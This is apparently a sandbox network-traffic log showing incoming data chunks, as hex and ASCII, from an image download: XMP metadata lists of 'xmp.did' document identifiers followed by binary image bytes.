2022-07-20 17:09:03 UTC	10395	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 34 41 44 42 37 34 33 46 32 30 36 38 31 31 39 32 42 30 46 36 30 42 41 35 39 44 35 32 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 35 36 46 44 42 38 32 34 39 32 45 32 31 31 42 33 45 45 44 42 30 43 42 38 36 38 38 44 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 35 41 35 35 38 38 37 36 32 30 36 38 31 31 38 46 36 32 43 33 42 30 31 36 43 41 45 44 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 36 31 36 45 39 41 41 34 32 30 36 38 31 31 38 30 38 33 38 41 34 43 42 32 32 39 32 34 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a Data Ascii: df:li> <rdf:li>xmp.did:5B4ADB743F20681192B0F60BA59D52F6</rdf:li> <rdf:li>xmp.did:5B56FDB82492E211B3EEDB0CB8688D94</rdf:li> <rdf:li>xmp.did:5B5A5588762068118F62C3B016CAEDE5</rdf:li> <rdf:li>xmp.did:5B616E9AA420681180838A4CB22924AE</rdf:li> <rdf:li>xmp.did:
2022-07-20 17:09:03 UTC	10411	IN	Data Raw: 46 37 30 31 32 34 35 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 44 43 39 45 42 33 34 41 43 45 45 39 31 31 39 36 36 39 43 43 44 37 38 38 43 43 32 31 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 44 46 32 46 35 30 45 45 34 30 31 31 45 32 39 30 34 43 43 42 41 41 43 43 43 39 35 34 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 45 42 41 38 46 31 32 31 44 42 31 31 36 38 42 39 45 37 38 33 30 35 33 36 41 33 34 33 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 46 46 34 39 42 39 38 46 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: F70124534</rdf:li> <rdf:li>xmp.did:68DC9EB34ACEE9119669CCD788CC21D5</rdf:li> <rdf:li>xmp.did:68DF2F50EE4011E2904CCBAACCC95433</rdf:li> <rdf:li>xmp.did:68EBA8F121DB1168B9E7830536A34331</rdf:li> <rdf:li>xmp.did:68FF49B98F2068118083A2B6C28313CA</rdf:li> <rdf
2022-07-20 17:09:03 UTC	10427	IN	Data Raw: 36 61 33 62 61 34 61 2d 37 30 62 39 2d 37 31 34 37 2d 61 34 38 35 2d 61 31 32 64 62 37 35 63 30 38 37 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 62 61 64 63 62 35 2d 30 66 32 61 2d 34 30 38 34 2d 62 37 37 32 2d 31 64 62 34 30 35 32 62 32 34 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 63 30 30 64 63 62 2d 65 39 66 32 2d 35 64 34 38 2d 62 32 33 31 2d 64 64 33 36 39 32 62 31 35 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 65 36 63 34 37 34 2d 32 64 62 33 2d 34 61 34 37 2d 62 35 31 66 2d 35 38 36 32 35 66 63 39 64 34 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 30 36 43 37 46 41 Data Ascii: 6a3ba4a-70b9-7147-a485-a12db75c087d</rdf:li> <rdf:li>xmp.did:76badcb5-0f2a-4084-b772-1db4052b2473</rdf:li> <rdf:li>xmp.did:76c00dcb-e9f2-5d48-b231-dd3692b15ad1</rdf:li> <rdf:li>xmp.did:76e6c474-2db3-4a47-b51f-58625fc9d415</rdf:li> <rdf:li>xmp.did:7706C7FA
2022-07-20 17:09:03 UTC	10434	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 39 36 64 33 32 38 2d 61 64 30 62 2d 34 32 65 35 2d 39 36 37 62 2d 31 66 64 66 38 61 65 63 39 66 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 62 61 30 36 39 66 2d 65 61 33 61 2d 38 38 34 35 2d 39 65 31 32 2d 33 30 34 63 31 65 66 33 61 34 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 66 35 33 35 66 32 2d 31 31 35 62 2d 34 63 62 64 2d 61 61 34 33 2d 32 66 33 66 33 38 33 36 38 32 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 63 31 31 66 35 62 36 2d 65 66 33 38 2d 34 65 35 63 2d 38 63 62 33 2d 65 63 38 65 62 62 33 64 33 63 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: f:li> <rdf:li>xmp.did:7b96d328-ad0b-42e5-967b-1fdf8aec9feb</rdf:li> <rdf:li>xmp.did:7bba069f-ea3a-8845-9e12-304c1ef3a4ef</rdf:li> <rdf:li>xmp.did:7bf535f2-115b-4cbd-aa43-2f3f38368272</rdf:li> <rdf:li>xmp.did:7c11f5b6-ef38-4e5c-8cb3-ec8ebb3d3c67</rdf:li> <
2022-07-20 17:09:03 UTC	10450	IN	Data Raw: 64 3a 38 43 35 44 43 45 33 39 32 46 45 45 45 30 31 31 38 33 41 36 39 31 33 33 45 45 44 37 31 36 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 36 32 43 46 44 39 31 39 32 30 36 38 31 31 38 43 31 34 44 45 45 36 41 45 36 36 45 35 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 42 30 34 44 36 42 39 41 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 45 34 35 38 33 42 41 42 32 30 36 38 31 31 38 32 32 41 44 36 38 43 30 34 37 39 37 31 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 46 38 37 37 42 38 30 37 32 30 36 38 31 31 39 32 42 30 45 Data Ascii: d:8C5DCE392FEEE01183A69133EED716FA</rdf:li> <rdf:li>xmp.did:8C62CFD9192068118C14DEE6AE66E5DB</rdf:li> <rdf:li>xmp.did:8CB04D6B9A226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:8CE4583BAB206811822AD68C047971A8</rdf:li> <rdf:li>xmp.did:8CF877B80720681192B0E
2022-07-20 17:09:03 UTC	10466	IN	Data Raw: 45 38 41 42 37 41 35 33 31 31 45 31 42 45 33 44 46 43 45 37 46 44 38 34 45 33 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 34 35 35 41 38 37 31 34 32 30 36 38 31 31 39 37 41 35 38 34 46 38 33 39 32 37 42 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 31 34 45 30 35 44 36 31 45 35 31 31 38 37 45 36 42 37 32 31 43 44 33 35 32 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 35 43 32 33 38 38 32 46 45 34 31 31 38 37 44 41 46 38 37 30 45 39 30 42 45 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 38 36 30 32 33 62 2d 39 61 62 65 2d 34 30 31 61 2d 62 32 63 34 2d 30 65 65 Data Ascii: E8AB7A5311E1BE3DFCE7FD84E3C6</rdf:li> <rdf:li>xmp.did:99455A871420681197A584F83927B384</rdf:li> <rdf:li>xmp.did:997314E05D61E51187E6B721CD352C7A</rdf:li> <rdf:li>xmp.did:99735C23882FE41187DAF870E90BEFD2</rdf:li> <rdf:li>xmp.did:9986023b-9abe-401a-b2c4-0ee
2022-07-20 17:09:03 UTC	10470	IN	Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 39 44 46 33 36 30 33 32 42 33 32 31 36 38 31 31 39 42 34 37 38 38 43 32 30 42 38 44 35 37 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 46 34 31 31 41 37 38 38 41 30 31 31 45 30 38 41 44 45 38 41 32 31 35 34 44 45 37 43 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 46 43 34 31 34 37 34 36 32 30 36 38 31 31 39 31 30 39 41 42 43 43 38 31 30 44 30 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 45 31 43 39 38 37 46 37 37 33 43 45 30 31 31 39 39 35 31 46 45 39 45 32 31 44 39 35 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 45 34 30 39 44 33 41 39 46 32 32 36 Data Ascii: i>xmp.did:9DF36032B32168119B4788C20B8D5749</rdf:li> <rdf:li>xmp.did:9DF411A788A011E08ADE8A2154DE7CFD</rdf:li> <rdf:li>xmp.did:9DFC4147462068119109ABCC810D065A</rdf:li> <rdf:li>xmp.did:9E1C987F773CE0119951FE9E21D95FD2</rdf:li> <rdf:li>xmp.did:9E409D3A9F226
2022-07-20 17:09:03 UTC	10486	IN	Data Raw: 42 42 42 34 36 39 35 30 34 41 39 42 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 37 41 32 36 39 32 30 39 32 30 36 38 31 31 38 30 38 33 43 37 44 39 41 46 31 46 31 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 39 32 36 46 46 31 34 30 32 30 36 38 31 31 38 37 31 46 45 42 45 41 39 37 33 42 46 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 44 41 44 30 36 45 33 41 32 30 36 38 31 31 39 35 46 45 44 45 38 33 33 36 41 43 43 42 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 45 36 44 33 32 35 31 30 32 34 36 38 31 31 41 43 41 46 42 46 45 45 41 36 46 39 30 31 33 31 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: BBB469504A9B34</rdf:li> <rdf:li>xmp.did:B17A2692092068118083C7D9AF1F1492</rdf:li> <rdf:li>xmp.did:B1926FF140206811871FEBEA973BF7D7</rdf:li> <rdf:li>xmp.did:B1DAD06E3A20681195FEDE8336ACCB52</rdf:li> <rdf:li>xmp.did:B1E6D32510246811ACAFBFEEA6F90131</rdf:li>
2022-07-20 17:09:03 UTC	10502	IN	Data Raw: 35 36 37 45 38 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 39 46 30 44 46 44 46 41 34 43 34 31 31 45 35 41 38 43 35 44 45 43 41 42 39 35 45 33 39 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 41 30 38 36 44 30 38 41 42 32 31 36 38 31 31 38 30 38 33 45 31 44 43 46 38 39 43 41 44 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 41 33 38 35 38 32 38 46 35 32 36 36 38 31 31 38 43 31 34 39 33 45 37 31 39 42 36 38 36 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 41 34 33 46 44 46 41 30 42 45 43 45 33 31 31 39 34 30 42 43 46 31 31 44 30 34 30 46 44 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: 567E86A</rdf:li> <rdf:li>xmp.did:C9F0DFDFA4C411E5A8C5DECAB95E3969</rdf:li> <rdf:li>xmp.did:CA086D08AB2168118083E1DCF89CAD76</rdf:li> <rdf:li>xmp.did:CA385828F52668118C1493E719B686BB</rdf:li> <rdf:li>xmp.did:CA43FDFA0BECE311940BCF11D040FD5E</rdf:li> <rdf:l
2022-07-20 17:09:03 UTC	10510	IN	Data Raw: 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 33 44 39 43 37 35 39 35 41 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 33 45 41 36 42 42 46 30 45 32 30 36 38 31 31 38 30 38 33 39 33 34 42 39 31 43 43 36 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 33 46 34 42 42 38 30 31 33 32 30 36 38 31 31 38 46 36 32 41 45 41 42 46 36 42 36 30 31 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 30 35 34 45 43 31 31 39 32 30 36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: D</rdf:li> <rdf:li>xmp.did:D3D9C7595A20681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:D3EA6BBF0E2068118083934B91CC636A</rdf:li> <rdf:li>xmp.did:D3F4BB80132068118F62AEABF6B601CD</rdf:li> <rdf:li>xmp.did:D4054EC11920681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.
2022-07-20 17:09:03 UTC	10526	IN	Data Raw: 39 30 44 42 35 33 44 44 34 32 30 36 38 31 31 39 31 30 39 42 34 37 38 33 39 36 38 31 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 39 30 45 34 39 37 31 33 36 36 46 45 31 31 31 42 46 32 37 46 31 39 36 35 43 32 35 45 39 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 39 32 30 31 33 34 42 33 30 32 31 36 38 31 31 38 44 42 42 45 34 31 39 31 39 46 36 43 32 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 39 34 34 42 30 45 45 44 32 32 33 36 38 31 31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 39 34 37 34 41 43 37 37 35 45 32 45 31 31 31 39 43 38 41 46 45 44 34 Data Ascii: 90DB53DD42068119109B4783968133A</rdf:li> <rdf:li>xmp.did:E90E4971366FE111BF27F1965C25E940</rdf:li> <rdf:li>xmp.did:E920134B302168118DBBE41919F6C26E</rdf:li> <rdf:li>xmp.did:E944B0EED22368118A6DEA56AB4C45D8</rdf:li> <rdf:li>xmp.did:E9474AC775E2E1119C8AFED4
2022-07-20 17:09:03 UTC	10542	IN	Data Raw: 36 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 44 41 42 38 35 35 31 38 32 30 36 38 31 31 38 30 38 33 38 41 34 43 42 32 32 39 32 34 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 45 30 42 34 41 37 33 39 44 45 44 45 31 31 39 41 42 37 39 42 41 38 41 37 46 35 46 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 45 39 37 35 34 32 34 31 37 41 45 30 31 31 41 44 43 35 45 32 42 32 45 32 37 41 44 42 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 32 43 36 45 41 31 33 43 32 30 36 38 31 31 38 41 36 44 45 45 39 43 35 30 44 45 30 34 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: 68B</rdf:li> <rdf:li>xmp.did:F7DAB8551820681180838A4CB22924AE</rdf:li> <rdf:li>xmp.did:F7E0B4A739DEDE119AB79BA8A7F5F527</rdf:li> <rdf:li>xmp.did:F7E97542417AE011ADC5E2B2E27ADBA3</rdf:li> <rdf:li>xmp.did:F82C6EA13C2068118A6DEE9C50DE045B</rdf:li> <rdf:li>xm
2022-07-20 17:09:03 UTC	10550	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 32 39 43 32 44 35 32 37 32 30 36 38 31 31 38 30 38 33 44 42 41 41 43 38 42 41 30 34 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 32 43 36 41 39 32 46 46 33 39 45 31 31 31 38 41 44 44 46 30 31 39 42 46 44 36 34 39 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 33 31 33 38 32 36 35 46 32 32 36 38 31 31 38 46 36 32 45 41 33 41 32 46 45 37 43 44 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a Data Ascii: df:li> <rdf:li>xmp.did:FB29C2D5272068118083DBAAC8BA0460</rdf:li> <rdf:li>xmp.did:FB2C6A92FF39E1118ADDF019BFD6491C</rdf:li> <rdf:li>xmp.did:FB3138265F2268118F62EA3A2FE7CD71</rdf:li> <rdf:li>xmp.did:FB627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:
2022-07-20 17:09:03 UTC	10566	IN	Data Raw: 33 66 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 36 35 33 35 36 62 65 2d 33 36 31 35 2d 34 32 65 33 2d 61 36 38 38 2d 36 65 35 34 64 64 33 31 34 64 66 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 36 61 62 65 38 36 30 2d 31 32 35 65 2d 31 38 34 35 2d 61 35 34 37 2d 66 62 61 34 33 36 63 33 63 39 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 36 62 38 66 38 64 37 2d 37 32 35 38 2d 34 63 31 65 2d 38 65 63 37 2d 31 37 39 65 62 61 31 33 62 31 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 36 65 39 39 64 37 38 2d 34 35 36 31 2d 37 66 34 32 2d 61 39 38 30 2d 31 62 61 30 61 33 65 34 37 65 31 30 3c 2f 72 Data Ascii: 3f83</rdf:li> <rdf:li>xmp.did:b65356be-3615-42e3-a688-6e54dd314df7</rdf:li> <rdf:li>xmp.did:b6abe860-125e-1845-a547-fba436c3c923</rdf:li> <rdf:li>xmp.did:b6b8f8d7-7258-4c1e-8ec7-179eba13b14e</rdf:li> <rdf:li>xmp.did:b6e99d78-4561-7f42-a980-1ba0a3e47e10</r
2022-07-20 17:09:03 UTC	10582	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 36 63 36 34 65 61 2d 36 63 65 36 2d 66 35 34 66 2d 62 63 64 65 2d 35 63 33 66 61 63 34 35 34 66 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 37 31 30 36 38 31 2d 62 62 32 38 2d 34 39 31 38 2d 62 39 33 33 2d 36 62 36 31 37 38 36 65 38 65 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 62 38 33 39 64 31 2d 34 62 66 66 2d 34 31 62 63 2d 39 31 33 32 2d 37 35 36 32 64 65 63 32 61 33 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 63 63 62 64 65 34 2d 36 39 61 62 2d 61 65 34 62 2d 62 37 37 62 2d 38 35 36 64 65 61 39 65 34 63 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 Data Ascii: df:li>xmp.did:e16c64ea-6ce6-f54f-bcde-5c3fac454f0d</rdf:li> <rdf:li>xmp.did:e1710681-bb28-4918-b933-6b61786e8eef</rdf:li> <rdf:li>xmp.did:e1b839d1-4bff-41bc-9132-7562dec2a3f3</rdf:li> <rdf:li>xmp.did:e1ccbde4-69ab-ae4b-b77b-856dea9e4ca5</rdf:li> <rdf:li>x
2022-07-20 17:09:03 UTC	10589	IN	Data Raw: 62 39 64 61 66 38 2d 63 35 38 66 2d 34 64 66 30 2d 61 37 32 61 2d 64 64 33 62 61 66 39 34 32 39 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 66 65 35 34 33 38 2d 63 64 34 35 2d 34 30 65 32 2d 38 64 36 34 2d 62 63 65 37 63 35 62 66 62 65 65 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 38 33 63 63 35 65 65 2d 36 38 62 39 2d 34 63 37 66 2d 39 31 30 63 2d 65 36 36 33 37 66 32 61 33 61 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 38 34 65 65 37 61 30 2d 33 64 34 39 2d 34 37 39 64 2d 61 31 32 62 2d 39 35 62 63 33 61 66 39 62 63 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 38 36 62 32 64 33 62 2d Data Ascii: b9daf8-c58f-4df0-a72a-dd3baf94298d</rdf:li> <rdf:li>xmp.did:f7fe5438-cd45-40e2-8d64-bce7c5bfbee9</rdf:li> <rdf:li>xmp.did:f83cc5ee-68b9-4c7f-910c-e6637f2a3a23</rdf:li> <rdf:li>xmp.did:f84ee7a0-3d49-479d-a12b-95bc3af9bc5a</rdf:li> <rdf:li>xmp.did:f86b2d3b-
2022-07-20 17:09:03 UTC	10605	IN	Data Raw: 6c 14 69 0b 9e d7 af ca 7b 97 7d c4 87 ab 90 fe 6d 04 79 79 3f 54 de 63 69 b0 7a 23 0b 96 dc dd 4e f9 ba b5 9b d9 68 1d 60 93 b3 84 3d f0 d5 59 33 a9 0b 5b ab de 1a 6e ae 61 f4 58 e9 cf c8 fa 9e 01 19 ef d5 79 fe eb 4e 7e 9a d5 4a 11 f6 79 f8 dc 55 c1 b8 ee 44 19 38 d1 59 19 ea 4c 5f 91 a2 a2 b3 d6 e9 e5 70 4e 7a 17 96 8d f9 b7 27 2d 06 b5 70 bc d5 d3 c3 4c 96 f4 e4 1e b9 2c e8 c6 5d c0 0d 70 6e 7a 55 a1 74 cb 0b 9c 2b 2d 12 ca 90 7a e2 0e d8 f9 cd 95 5d 32 f2 d4 8c f6 0f 6c 7c 2f 0b c1 ac d7 85 75 4c 30 e8 22 34 de 2e 8c 2a 2b 17 03 e9 32 96 15 19 56 55 6e c8 da 2b 1b 8a 39 13 5e 75 7d 3c 83 6b 89 98 74 78 33 71 a4 e8 06 dc 94 ba c5 ca fd f9 77 ce aa 46 17 3b 41 e5 75 f2 7e 87 7c f5 27 e5 be cd 9c b0 b4 8c 35 ce d9 eb cf 69 9f 57 96 cb 7b f8 73 fa 5f 8a Data Ascii: li{}myy?Tciz#Nh`=Y3[naXyN~JyUD8YL_pNz'-pL,]pnzUt+-z]2l\|/uL0"4.*+2VUn+9^u}<ktx3qwF;Au~\|'5iW{s_
2022-07-20 17:09:03 UTC	10621	IN	Data Raw: 9d 48 9b a0 59 31 aa 32 1e 6e 4c 9b d5 82 de 2c 13 67 3a 62 8c 29 29 72 1d 65 52 ae 88 08 68 c5 5b 0a 46 b1 cb 58 ac 1b 19 3d 55 14 a8 86 17 16 30 8b 09 73 d6 e3 5b e7 5c 67 46 3d 16 5a 2f d2 09 4f 90 df 22 90 4e 75 82 06 73 96 92 c8 7d 3f 3e a3 21 c7 a9 e4 89 4e c5 e2 cc 98 c2 34 67 86 95 17 9c e2 8e b7 9f a7 ae e5 e9 3a 6b cc c8 00 b9 45 be 7c ee f8 ed 9e 8c b3 d2 c3 02 a4 1b 91 2a 68 c0 2a 36 97 21 02 b2 ac 99 e1 0d 73 23 c9 ab 84 27 46 bc 01 6b 8a ed 32 2e 6f 0a 81 9b 21 3a 11 d4 f1 f7 6d 34 b3 7c cf c7 4a 35 0c da 6b 3a 84 3d 1c 83 54 c0 a8 cb 23 06 19 04 15 66 5a 4c da f3 7a 49 93 3c 8f 0a ac cc 20 09 4e ca 9a e4 bb 3e 0d 8b c9 24 e9 2c 1d 07 25 f4 7c ba bf e5 62 ba 49 ac 81 d1 47 c5 65 9c 9d 98 3d 1c b7 5c cb 31 48 88 42 d8 87 ae 10 f4 2c 1c 95 0d Data Ascii: HY12nL,g:b))reRh[FX=U0s[\gF=Z/O"Nus}?>!N4g:kE\|h6!s#'Fk2.o!:m4\|J5k:=T#fZLzI< N>$,%\|bIGe=\1HB,
2022-07-20 17:09:03 UTC	10629	IN	Data Raw: 24 bb 3e d7 92 f9 bd a7 a1 c2 d4 6d 8c 37 8b ce 83 21 3c 69 19 80 d7 3b 5f ac a2 e8 7d 17 2b 5d b6 99 38 e9 39 77 86 a9 11 d4 63 d7 c8 6f 89 59 80 de 27 64 42 9e 43 d0 7b 62 19 0c 0d 27 9f e9 8e c3 8f a0 d9 3b 7e 1d f6 e6 75 a7 4b a4 fb aa c6 5c f7 56 6e b3 a5 5a 67 c7 f6 cb 19 7a a7 33 7c fe f9 f8 17 ed 1a 67 a7 49 cf af 39 dd 98 34 bb ce 1d b3 c4 f3 39 ed f9 cc 9d 5a 72 f4 91 34 27 5e 5d 27 17 49 b9 5a bb 99 c4 75 37 d4 eb 7f 18 f6 38 42 ea e7 0b 0d 7b bf 27 a3 98 e9 e3 4f e8 ec 23 84 cf 0d 58 4b b1 da bc d7 59 60 2a 57 21 43 53 34 40 dc cd 6c b5 dd c9 37 cf a6 5a 26 b8 53 51 d1 c5 85 8b 61 1d 14 b5 5d f0 10 15 c5 34 c3 65 07 39 dd 4d 15 67 d6 73 f5 74 7c fd 1c 9f 5f 1e 7a e2 4e 57 85 a1 e1 87 70 d2 2d 26 b9 e8 07 cd b8 01 86 eb 9b a3 97 d7 11 9c 51 aa Data Ascii: $>m7!<i;_}+]89wcoY'dBC{b';~uK\VnZgz3\|gI949Zr4'^]'IZu78B{'O#XKY`*W!CS4@l7Z&SQa]4e9Mgst\|_zNWp-&Q
